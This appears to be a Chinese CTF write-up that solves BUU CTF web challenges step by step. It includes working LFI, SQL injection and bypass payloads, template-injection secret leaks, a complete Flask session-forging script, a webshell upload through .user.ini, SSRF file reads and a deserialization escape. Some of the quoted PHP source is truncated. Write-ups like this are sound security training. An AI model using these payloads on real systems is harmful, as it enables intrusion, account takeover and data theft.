BUU CTF web题write up

0x01 WarmUp

进来就是一个大大的滑稽，F12拿到源码链接source.php

 "source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "
";
    }  
?> 

白名单中只有两个页面：source.php和hint.php，看hint.php

function checkFile():

• 变量未声明、非字符串：return false
• $page未在白名单中：return false
• 以’?'为分割符取出前面字符后得到$_page
• $_page未在白名单中：return false
• url解码后，重复以上3、4步操作

最后如果request得到的file值非空、是字符串且通过了checkFile，则包含file

因为服务器会自动url解码一次，这里用二次编码

payload：source.php?file=hint.php%253f../../../../../../../ffffllllaaaagggg

参考链接：https://www.jianshu.com/p/0d75017c154f（CVE-2018-12613）

0x02 随便注

测试过程

输入1’报错，1’ #正常

1’ order by 2#	1’ order by 3#
正常	error 1054 : Unknown column ‘3’ in ‘order clause’

得出有两个字段，再联合查询一下，发现过滤了部分sql关键字

堆叠注入

1';show tables;#	//发现表1919810931114514和words

1'; show columns from `1919810931114514`;#	//发现表1919810931114514中有flag列

先将select * from `1919810931114514`进行十六进制编码一下，得到如下值

0x73656c656374202a2066726f6d20603139313938313039333131313435313460

再通过预处理语句，最终构造的payload如下，得到flag

payload：1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

骚操作

这个必须要记一下，确实是太骚了

• 将words更名为words1
• 将1919810931114514更名为words
• 将1919810931114514表中flag字段改为id
• 1’ or 1=1#直接查出flag

payload：1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;alter table `words` change `flag` `id` varchar(100) character set utf8 collate utf8_general_ci not null;show columns from words;#

0x03 easy_tornado

• /welcome.txt：render

  简单的百度了一下，这是render+tornado的python模板

• /hints.txt： md5(cookie_secret+md5(filename))

  哈希计算规则

• /flag.txt：flag in /fllllllllllllag

  此时的url为/file?filename=/flag.txt&filehash=c9f7065977d26874f6d8e0f782aa1e21

  也就是文件名+文件哈希值访问

模板注入

• 将文件名改为/fllllllllllllag

  返回一个Error页面，且参数msg=Error

• tornado模板快速访问

  handler指向RequestHandler

  RequestHandler.settings指向self.application.settings

  所以handler.settings指向RequestHandler.application.settings

• 输入msg={{handler.settings}}

  得到cookie_secret: 7dd9f819-0bd5-4a55-85a7-2b2b3156f0e7

• 抄个脚本计算一下哈希值

  import hashlib
  
  def md5value(s):
      md5 = hashlib.md5()
      md5.update(s.encode())
      return md5.hexdigest()
  
  def mdfive2():
      filename = '/fllllllllllllag'
      cookie = r"7dd9f819-0bd5-4a55-85a7-2b2b3156f0e7"
      print(md5value(cookie + md5value(filename)))
  
  mdfive2()
  

  得到哈希值为：8a12c7de285700b57d8aa3222d4c1790

• 最终的url

  http://7bdadb48-8aab-4cee-b71f-1810a54d1e97.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=8a12c7de285700b57d8aa3222d4c1790
  

• 参考链接：https://www.jianshu.com/p/55c75e0f7928

0x04 高明的黑客

• 下载www.tar.gz，里面是网站的源码，而且php文件中都包含一些乱七八糟的shell

• 在本地搭一下环境，然后写个脚本测试一下文件里的shell

  python脚本如下：

import os
import requests
import re
import sys

for i in os.listdir("E:\911208\phpstudy\PHPTutorial\WWW\src")[::-1]:
	with open ("E:\911208\phpstudy\PHPTutorial\WWW\src\{}".format(i)) as f:
		content=f.read()
		url="http://127.0.0.1/src/{}".format(i)
		rc = re.compile(r'(\$_GET\[\')(.*)(\'\])')
		result=rc.findall(content)
		for r in result:
			a=r[1]
			url1=url+"?"+a+"=echo 'hackedha';"
			print(url1)
			sys.stdout.flush()
			r=requests.get(url=url1)
			r=r.content.decode('utf-8')
			if 'hacked' in r:
				print('yes')
				print(url)
				exit()

• 找到xk0SzyKwfzw.php文件下的Efa5BVG参数可以利用

• payload：http://710e3dd0-506e-4936-bfd5-e6904802adb2.node3.buuoj.cn/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

0x05 admin

• 登陆页面的hint

• change页面下get到一个hint

• ok，下载下来发现是靶场源码，用的是flask框架

• flask框架的session机制

  学习链接：https://www.anquanke.com/post/id/163975

  flask中session储存在客户端cookie中，且flask没有加密操作，其cookie全部内容都可以被读取。

抓取session

• 直接抓包就可以得到自己账号的session

• config.py

  SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
  

• index.html

  {% if current_user.is_authenticated and session['name'] == 'admin' %}
  hctf{xxxxxxxxx}
  

session伪造

脚本如下：
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

session解密得到的结果为：

{'_fresh': True, '_id': b'50b3c6db23d13770917e4cb8c61cdf67dde86cff5e2e47f6be2daa872de7fdd150373ce7263caf379095ea77543d926414333a9cbb5fbd8c80f60df20bb4981e', 'csrf_token': b'47af145519e08dd39d3e2b4b8d3d5e5f604cd8ea', 'image': b'jPsF', 'name': '0xdawn', 'user_id': '10'}

将name中的值修改为admin后再加密,得到的session如下：

.eJxFkEGLwjAQhf_KMmcPNdWL4EWiwYVJaWksk4uorTZp40JV2kb875t1Yfc0zDz43nvzhP25q241LO7do5rA3pSweMLHERYg85VBhkyL7YgsHdCfYuTNIJmKiG1n5Gkgljlpy0YLNZNOOm13LToVSUaMnBq12NQJP4WpYu2yBnPVB44npmK0gcA2LuzzwJ3qYh1Lr6LgNQ9ahHnq0cs6KaQhu3Pk0uB56bWlXgsaUXwayZsZFmoJrwmcbt15f_9qqut_BV7W2q4jmashKVSfiBDBtw0yNZLNTCJSr_mulQUx5JnVvG4pXb5xxh0u1R_p0K58dvlVrgdX_ZxKZ64wgcet6t5_g2kEr29DqW27.Xd9y8Q.BKLvXPsrixjIr4i0d8Fhkvaq03g

再将自己的session值替换为伪造的值，即可完成admin登录

0x06 CheckIn

源码如下

';
    echo 'Your files : 
';
    var_dump(scandir($userdir));
}

• 获得文件后缀名，过滤各种php类型、.htacess、且不区分大小写
• 过滤文件中的’
• MIME类型验证

New point：.user.ini

自 PHP 5.3.0 起，PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI／FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache，则用 .htaccess 文件有同样效果。

• .user.ini利用条件

  服务器脚本语言为php

  服务器使用CGI/FastCGI模式

  上传目录下有可执行的php文件

• auto_prepend_fiile、auto_append_file

  该配置项会让php文件在执行前先包含一个指定的文件

Bypass

• 上传一个.user.ini文件，内容如下

  GIF89a
  auto_prepend_file=1.jpg
  

• 上传1.jpg

  GIF89a
  
  

• 菜刀连上，找到flag

0x07 Easy Calc

源码在http://node3.buuoj.cn:27584/calc.php下

php字符串解析绕过

php需要将所有参数转换为有效的变量名，在解析查询字符串时

• 删除初始空格
• 将某些字符转换为下划线

测试结果如下：

calc.php?num=phpinfo()	Forbidden
calc.php?%20num=phpinfo()	回显

查看禁用的函数：

scandir()函数

scandir() 函数返回指定目录中的文件和目录的数组。

语法：scandir(directory,sorting_order,context);

directory	必须，规定要扫描的目录
sorting_order	可选，规定排列顺序。默认是 0，表示按字母升序排列。
context	可选，规定目录句柄的环境。

• 扫描根目录下所有文件：scandir(/)

• char(47)代替 / 绕过黑名单

• payload：calc.php?%20num=var_dump(scandir(chr(47)))

file_get_contents()函数

file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。

语法：file_get_contents(path,include_path,context,start,max_length)

path	必需。规定要读取的文件。
include_path	可选。如果也想在 include_path 中搜寻文件的话，可以将该参数设为 “1”。
context	可选。规定文件句柄的环境。
start	可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 新加的。
max_length	可选。规定读取的字节数。该参数是 PHP 5.1 新加的。

GetFlag：calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

HTTP走私攻击

参考链接：https://paper.seebug.org/1048/

经测试CL-CL方式可用，请求如下：

0x08 SSRF Me

源码地址

https://github.com/CTFTraining/delta_2019_web_ssrfme

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

字符串拼接

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

• 假设secert_key为xxx，访问/geneSign?param=flag.txt，返回的md5为md5(‘xxx’ + ‘flag.txt’ + ‘scan’)

• 构造访问/geneSign?param=flag.txtread，得到的md5为md5(‘xxx’ + ‘flag.txtread’ + ‘scan’ )，即为目标sign

• 访问/De1ta?param=flag.txt，构造Cookie:action=readscan;sign=6bf0e8c1e474589c49fd211c9f3ba760

local_file

• 文件包含得到sign

  http://5cb1ec0e-c4a0-4c5f-b967-87d59660cabf.node3.buuoj.cn/geneSign?param=local_file:///app/flag.txtread

• 构造cookie得到flag

哈希拓展攻击

参考链接：https://xz.aliyun.com/t/5927

0x09 FakeBook

源码泄露：/user.php.bak

name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

注入测试

• order by得到长度为4

• 报数据库名

• 报表名

• 报列名

• 报字段值

SSRF

• curl_exec()使用不当造成SSRF(服务器端请求伪造)

• 报错信息可知网站绝对路径(/var/www/html/)和数据库里的数据都是反序列存储

• 通过file协议读文件

• payload：

  view.php?no=-1++union++select++1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+
  

• base64解码得到flag

0x0A piapiapia

源码泄露:www.zip

• flag在config.php中

• update.php中POST提交的参数及正则

  		$profile['phone'] = $_POST['phone'];
  		$profile['email'] = $_POST['email'];
  		$profile['nickname'] = $_POST['nickname'];
  		$profile['photo'] = 'upload/' . md5($file['name']);
  		$user->update_profile($username, serialize($profile));
  		
  		if(!preg_match('/^\d{11}$/', $_POST['phone']))
  			die('Invalid phone');
  
  		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
  			die('Invalid email');
  		
  		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
  			die('Invalid nickname');
  
  		$file = $_FILES['photo'];
  		if($file['size'] < 5 or $file['size'] > 1000000)
  			die('Photo size error');
  

• profile.php中存在文件读取

  $profile = unserialize($profile);
  		$phone = $profile['phone'];
  		$email = $profile['email'];
  		$nickname = $profile['nickname'];
  		$photo = base64_encode(file_get_contents($profile['photo']));
  

  当$profile[‘photo’]为config.php时即可读取到flag，而且这里还有个反序列化操作

• class.php中的参数过滤

  	public function filter($string) {
  		$escape = array('\'', '\\\\');
  		$escape = '/' . implode('|', $escape) . '/';
  		$string = preg_replace($escape, '_', $string);
  
  		$safe = array('select', 'insert', 'update', 'delete', 'where');
  		$safe = '/' . implode('|', $safe) . '/i';
  		return preg_replace($safe, 'hacker', $string);
  	}
  

  其中需要注意的是where被替换成hacker是，长度加1

序列化profile

update.php中POST提交完后对$profile进行序列化操作

结果为：a:4:{s:5:"phone";s:11:"18581582507";s:5:"email";s:17:"[email protected]";s:8:"nickname";s:6:"0xdawn";s:5:"photo";s:10:"config.php";}

反序列化

在nikename后加上";}s:5:“photo”;s:10:“config.php”;} 一共是34个字符，利用正则表达式替换34个where为hacker，即可把这34个字符挤到photo中

• 用数组绕过nickname的正则过滤

• 将nickname修改为以下值

  wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
  

• 进入profile查看图片信息

PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFne2E1NWE1ZjczLTM5M2ItNGQyOS1hNDBkLWQ0MWFhMDA3MGQyYn0nOwo/Pgo=

• base64解码得到flag

极客大挑战系列

0x01 Havefun

• F12得到源码如下

  $cat=$_GET['cat'];
  echo $cat;
  if($cat=='dog')
  {
       echo 'Syc{cat_cat_cat_cat}';
  }
  

• payload：http://9b94f9bf-5000-46eb-9bff-181b6330400e.node3.buuoj.cn/?cat=dog

0x02 Knife

• 直接菜刀连上，flag在根目录下

0x03 Secret File

• F12一下找到一个路径

• 访问这个页面后有一个secret链接

• 点一下后直接跳转了
  

• 抓包得到secr3t.php这个页面，代码如下

• 考点是php伪协议读取文件

  payload：http://b8fc1459-1aac-406c-8ef2-af149e5b70ed.node3.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
  

• base64解码后得到flag

0x04 EasySQL

直接万能密码注入得到flag

0x05 LoveSQL

没有任何过滤，一步步联合查询就行了

数据库名：username=admin&password=admin'union select
1,2,group_concat(schema_name) from information_schema.schemata#

表名：username=admin&password=admin'union select 1,2,group_concat(table_name) from
information_schema.tables where table_schema=database()#

列名：username=admin&password=admin'union select 1,2,group_concat(column_name) from
information_schema.columns where table_schema=database() and
table_name='l0ve1ysq1'#

字段值：username=admin&password=admin'union select
1,2,group_concat(password) from l0ve1ysq1#

0x06 BabySQL

过滤了一些关键字，需要双写绕过

数据库名：username=admin&password=admin'uniunionon selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata--+

表名：username=admin&password=admin'uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema%3Ddatabase()--+

列名：username=admin&password=admin'uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'--+

字段值：username=admin&password=admin'uniunionon selselectect 1,2,group_concat(passwoorrd) frfromom b4bsql--+